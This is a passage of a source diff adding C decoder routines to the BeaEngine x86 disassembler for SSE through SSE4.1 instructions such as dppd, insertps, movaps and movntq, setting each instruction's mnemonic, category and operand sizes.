((*pMyDisasm).Instruction.Mnemonic, "cvtdq2pd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cvttpd2dq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 3a 41 + * ==================================================================== */ +void __bea_callspec__ dppd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+DOT_PRODUCT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dppd "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + +/* ==================================================================== + * 0x 0f 3a 40 + * ==================================================================== */ +void __bea_callspec__ dpps_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+DOT_PRODUCT; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dpps "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 5e + * ==================================================================== */ +void __bea_callspec__ divps_VW(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "divsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "divss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "divpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "divps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 3a 17 + * ==================================================================== */ +void __bea_callspec__ extractps_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1dword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+INSERTION_EXTRACTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "extractps "); + #endif + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 7c + * ==================================================================== */ +void __bea_callspec__ haddpd_VW(PDISASM pMyDisasm) +{ + + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+SIMD_FP_HORIZONTAL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "haddpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+SIMD_FP_HORIZONTAL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "haddps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 7d + * ==================================================================== */ +void __bea_callspec__ hsubpd_VW(PDISASM pMyDisasm) +{ + + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+SIMD_FP_HORIZONTAL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "hsubpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+SIMD_FP_HORIZONTAL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "hsubps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 3a 21 + * ==================================================================== */ +void __bea_callspec__ insertps_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+INSERTION_EXTRACTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "insertps "); + #endif + GV.SSE_ = 1; + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + GV.MemDecoration = Arg2qword; + } + else { + GV.MemDecoration = Arg2dword; + } + + GV.ImmediatSize = 8; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + + + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + + } + else { + FailDecode(pMyDisasm); + } + +} + + + +/* ==================================================================== + * 0x 0f f0 + * ==================================================================== */ +void __bea_callspec__ lddqu_(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+SPECIALIZED_128bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lddqu "); + #endif + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.SSE_ = 0; + GV.EIP_+= GV.DECALAGE_EIP+2; + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f f7 + * ==================================================================== */ +void __bea_callspec__ maskmovq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maskmovdqu "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maskmovq "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 5f + * ==================================================================== */ +void __bea_callspec__ maxps_VW(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maxsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maxss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maxpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "maxps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 5d + * ==================================================================== */ +void __bea_callspec__ minps_VW(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "minsd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "minss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "minpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "minps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 28 + * ==================================================================== */ +void __bea_callspec__ movaps_VW(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movapd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movaps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 29 + * ==================================================================== */ +void __bea_callspec__ movaps_WV(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movapd "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movaps "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 16 + * ==================================================================== */ +void __bea_callspec__ movhps_VM(PDISASM pMyDisasm) +{ + + /* ========= 0xf3 */ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movshdup "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+DATA_TRANSFER; + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlhps "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhps "); + #endif + } + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 17 + * ==================================================================== */ +void __bea_callspec__ movhps_MV(PDISASM pMyDisasm) +{ + + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhpd "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg1qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhps "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 12 + * ==================================================================== */ +void __bea_callspec__ movlps_VM(PDISASM pMyDisasm) +{ + /* ========= 0xf2 */ + if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movddup "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========= 0xf3 */ + else if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsldup "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlpd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+DATA_TRANSFER; + if (GV.MOD_== 0x3) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movhlps "); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlps "); + #endif + } + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 13 + * ==================================================================== */ +void __bea_callspec__ movlps_MV(PDISASM pMyDisasm) +{ + + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlpd "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg1qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movlps "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 50 + * ==================================================================== */ +void __bea_callspec__ movmskps_(PDISASM pMyDisasm) +{ + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_!= 0x3) { + FailDecode(pMyDisasm); + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movmskpd "); + #endif + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movmskps "); + #endif + GV.SSE_ = 1; + MOD_RM(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + Reg_Opcode(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + + } +} + + +/* ==================================================================== + * 0x 0f 38 2a + * ==================================================================== */ +void __bea_callspec__ movntdqa_(PDISASM pMyDisasm) +{ + + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+STREAMING_LOAD; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntdqa "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f c3 + * ==================================================================== */ +void __bea_callspec__ movnti_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movnti "); + #endif + EvGv(pMyDisasm); + +} + + +/* ==================================================================== + * 0x 0f 2b + * ==================================================================== */ +void __bea_callspec__ movntps_(PDISASM pMyDisasm) +{ + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + FailDecode(pMyDisasm); + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntpd "); + #endif + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + + } + else { + GV.MemDecoration = Arg1dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntps "); + #endif + GV.SSE_ = 1; + Reg_Opcode(&(*pMyDisasm).Argument2, pMyDisasm); + GV.SSE_ = 0; + MOD_RM(&(*pMyDisasm).Argument1, pMyDisasm); + GV.EIP_ += GV.DECALAGE_EIP+2; + + } +} + + +/* ==================================================================== + * 0x 0f e7 + * ==================================================================== */ +void __bea_callspec__ movntq_(PDISASM pMyDisasm) +{ + GV.MOD_= ((*((UInt8*)(UIntPtr) (GV.EIP_+1))) >> 6) & 0x3; + if (GV.MOD_== 0x3) { + FailDecode(pMyDisasm); + } + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg1dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntdq "); + #endif + GV.SSE_ = 1; + ExGx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg1qword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+CACHEABILITY_CONTROL; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movntq "); + 